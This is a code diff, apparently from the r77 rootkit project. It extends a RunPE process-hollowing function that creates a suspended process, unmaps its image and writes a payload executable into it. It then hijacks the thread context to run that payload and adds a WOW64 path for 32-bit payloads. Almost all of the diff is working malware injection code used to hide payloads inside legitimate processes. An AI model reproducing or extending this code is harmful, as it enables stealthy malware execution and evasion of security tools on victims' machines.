@@ -697,26 +697,38 @@ BOOL IsExecutable64Bit(LPBYTE image, LPBOOL is64Bit)
697
697
}
698
698
BOOL RunPE (LPCWSTR path , LPBYTE payload )
699
699
{
700
+ BOOL isPayload64Bit ;
701
+ if (IsExecutable64Bit (payload , & isPayload64Bit ))
702
+ {
703
+ if (isPayload64Bit && BITNESS (32 ))
704
+ {
705
+ // Cannot inject 64-bit payload from 32-bit process.
706
+ return FALSE;
707
+ }
708
+ }
709
+ else
710
+ {
711
+ return FALSE;
712
+ }
713
+
700
714
// For 32-bit (and 64-bit?) process hollowing, this needs to be attempted several times.
701
715
// This is a workaround to the well known stability issue of process hollowing.
702
716
for (DWORD i = 0 ; i < 5 ; i ++ )
703
717
{
704
- DWORD processId = 0 ;
705
- PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS )(payload + ((PIMAGE_DOS_HEADER )payload )-> e_lfanew );
718
+ STARTUPINFOW startupInfo ;
719
+ PROCESS_INFORMATION processInformation ;
720
+ i_memset (& startupInfo , 0 , sizeof (STARTUPINFOW ));
721
+ i_memset (& processInformation , 0 , sizeof (PROCESS_INFORMATION ));
722
+ startupInfo .cb = sizeof (startupInfo );
706
723
707
- if (ntHeaders -> Signature == IMAGE_NT_SIGNATURE )
724
+ if (CreateProcessW ( path , NULL , NULL , NULL , FALSE, CREATE_SUSPENDED , NULL , NULL , & startupInfo , & processInformation ) )
708
725
{
709
- STARTUPINFOW startupInfo ;
710
- PROCESS_INFORMATION processInformation ;
711
- i_memset (& startupInfo , 0 , sizeof (STARTUPINFOW ));
712
- i_memset (& processInformation , 0 , sizeof (PROCESS_INFORMATION ));
713
- startupInfo .cb = sizeof (startupInfo );
714
-
715
- if (CreateProcessW (path , NULL , NULL , NULL , FALSE, CREATE_SUSPENDED , NULL , NULL , & startupInfo , & processInformation ))
726
+ if (isPayload64Bit == BITNESS (64 ))
716
727
{
717
- processId = processInformation . dwProcessId ;
728
+ // Payload bitness matches current process bitness
718
729
719
- //TODO: NtUnmapViewOfSection here
730
+ PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS )(payload + ((PIMAGE_DOS_HEADER )payload )-> e_lfanew );
731
+ R77_NtUnmapViewOfSection (processInformation .hProcess , ntHeaders -> OptionalHeader .ImageBase );
720
732
721
733
LPVOID imageBase = VirtualAllocEx (processInformation .hProcess , (LPVOID )ntHeaders -> OptionalHeader .ImageBase , ntHeaders -> OptionalHeader .SizeOfImage , MEM_COMMIT | MEM_RESERVE , PAGE_EXECUTE_READWRITE );
722
734
if (imageBase && WriteProcessMemory (processInformation .hProcess , imageBase , payload , ntHeaders -> OptionalHeader .SizeOfHeaders , NULL ))
@@ -744,7 +756,7 @@ BOOL RunPE(LPCWSTR path, LPBYTE payload)
744
756
if (GetThreadContext (processInformation .hThread , context ))
745
757
{
746
758
#ifdef _WIN64
747
- if (WriteProcessMemory (processInformation .hProcess , (LPVOID )(context -> Rdx + sizeof ( LPVOID ) * 2 ) , & ntHeaders -> OptionalHeader .ImageBase , sizeof ( LPVOID ) , NULL ))
759
+ if (WriteProcessMemory (processInformation .hProcess , (LPVOID )(context -> Rdx + 16 ) , & ntHeaders -> OptionalHeader .ImageBase , 8 , NULL ))
748
760
{
749
761
context -> Rcx = (DWORD64 )imageBase + ntHeaders -> OptionalHeader .AddressOfEntryPoint ;
750
762
if (SetThreadContext (processInformation .hThread , context ) &&
@@ -754,7 +766,7 @@ BOOL RunPE(LPCWSTR path, LPBYTE payload)
754
766
}
755
767
}
756
768
#else
757
- if (WriteProcessMemory (processInformation .hProcess , (LPVOID )(context -> Ebx + sizeof ( LPVOID ) * 2 ) , & ntHeaders -> OptionalHeader .ImageBase , sizeof ( LPVOID ) , NULL ))
769
+ if (WriteProcessMemory (processInformation .hProcess , (LPVOID )(context -> Ebx + 8 ) , & ntHeaders -> OptionalHeader .ImageBase , 4 , NULL ))
758
770
{
759
771
context -> Eax = (DWORD )imageBase + ntHeaders -> OptionalHeader .AddressOfEntryPoint ;
760
772
if (SetThreadContext (processInformation .hThread , context ) &&
@@ -769,11 +781,63 @@ BOOL RunPE(LPCWSTR path, LPBYTE payload)
769
781
}
770
782
}
771
783
}
784
+ else
785
+ {
786
+ // Spawn 32-bit process from this 64-bit process.
787
+
788
+ if (!IsAtLeastWindows10 ())
789
+ {
790
+ //TODO: Custom implementation for Wow64GetThreadContext and Wow64SetThreadContext required to work on Windows 7.
791
+ return FALSE;
792
+ }
793
+
794
+ PIMAGE_NT_HEADERS32 ntHeaders = (PIMAGE_NT_HEADERS32 )(payload + ((PIMAGE_DOS_HEADER )payload )-> e_lfanew );
795
+ R77_NtUnmapViewOfSection (processInformation .hProcess , ntHeaders -> OptionalHeader .ImageBase );
796
+
797
+ LPVOID imageBase = VirtualAllocEx (processInformation .hProcess , (LPVOID )ntHeaders -> OptionalHeader .ImageBase , ntHeaders -> OptionalHeader .SizeOfImage , MEM_COMMIT | MEM_RESERVE , PAGE_EXECUTE_READWRITE );
798
+ if (imageBase && WriteProcessMemory (processInformation .hProcess , imageBase , payload , ntHeaders -> OptionalHeader .SizeOfHeaders , NULL ))
799
+ {
800
+ BOOL sectionsWritten = TRUE;
801
+
802
+ for (int j = 0 ; j < ntHeaders -> FileHeader .NumberOfSections ; j ++ )
803
+ {
804
+ PIMAGE_SECTION_HEADER sectionHeader = (PIMAGE_SECTION_HEADER )((ULONG_PTR )IMAGE_FIRST_SECTION (ntHeaders ) + j * (ULONG_PTR )IMAGE_SIZEOF_SECTION_HEADER );
805
+
806
+ if (!WriteProcessMemory (processInformation .hProcess , (LPBYTE )imageBase + sectionHeader -> VirtualAddress , (LPBYTE )payload + sectionHeader -> PointerToRawData , sectionHeader -> SizeOfRawData , NULL ))
807
+ {
808
+ sectionsWritten = FALSE;
809
+ break ;
810
+ }
811
+ }
812
+
813
+ if (sectionsWritten )
814
+ {
815
+ PWOW64_CONTEXT context = (PWOW64_CONTEXT )VirtualAlloc (NULL , sizeof (WOW64_CONTEXT ), MEM_COMMIT , PAGE_READWRITE );
816
+ if (context )
817
+ {
818
+ context -> ContextFlags = WOW64_CONTEXT_FULL ;
819
+
820
+ if (Wow64GetThreadContext (processInformation .hThread , context ))
821
+ {
822
+ if (WriteProcessMemory (processInformation .hProcess , (LPVOID )(context -> Ebx + 8 ), & ntHeaders -> OptionalHeader .ImageBase , 4 , NULL ))
823
+ {
824
+ context -> Eax = (DWORD )imageBase + ntHeaders -> OptionalHeader .AddressOfEntryPoint ;
825
+ if (Wow64SetThreadContext (processInformation .hThread , context ) &&
826
+ ResumeThread (processInformation .hThread ) != -1 )
827
+ {
828
+ return TRUE;
829
+ }
830
+ }
831
+ }
832
+ }
833
+ }
834
+ }
835
+ }
772
836
}
773
837
774
- if (processId != 0 )
838
+ if (processInformation . dwProcessId != 0 )
775
839
{
776
- HANDLE process = OpenProcess (PROCESS_TERMINATE , FALSE, processId );
840
+ HANDLE process = OpenProcess (PROCESS_TERMINATE , FALSE, processInformation . dwProcessId );
777
841
if (process )
778
842
{
779
843
TerminateProcess (process , 0 );
@@ -914,6 +978,10 @@ NTSTATUS NTAPI R77_NtCreateThreadEx(PHANDLE thread, ACCESS_MASK desiredAccess, L
914
978
// CreateRemoteThread does not work across sessions in Windows 7.
915
979
return ((NT_NTCREATETHREADEX )GetFunction ("ntdll.dll" , "NtCreateThreadEx" ))(thread , desiredAccess , objectAttributes , processHandle , startAddress , parameter , flags , stackZeroBits , sizeOfStackCommit , sizeOfStackReserve , bytesBuffer );
916
980
}
981
+ NTSTATUS NTAPI R77_NtUnmapViewOfSection (HANDLE processHandle , LPVOID baseAddress )
982
+ {
983
+ return ((NT_NTUNMAPVIEWOFSECTION )GetFunction ("ntdll.dll" , "NtUnmapViewOfSection" ))(processHandle , baseAddress );
984
+ }
917
985
NTSTATUS NTAPI R77_RtlGetVersion (PRTL_OSVERSIONINFOW versionInformation )
918
986
{
919
987
return ((NT_RTLGETVERSION )GetFunction ("ntdll.dll" , "RtlGetVersion" ))(versionInformation );
0 commit comments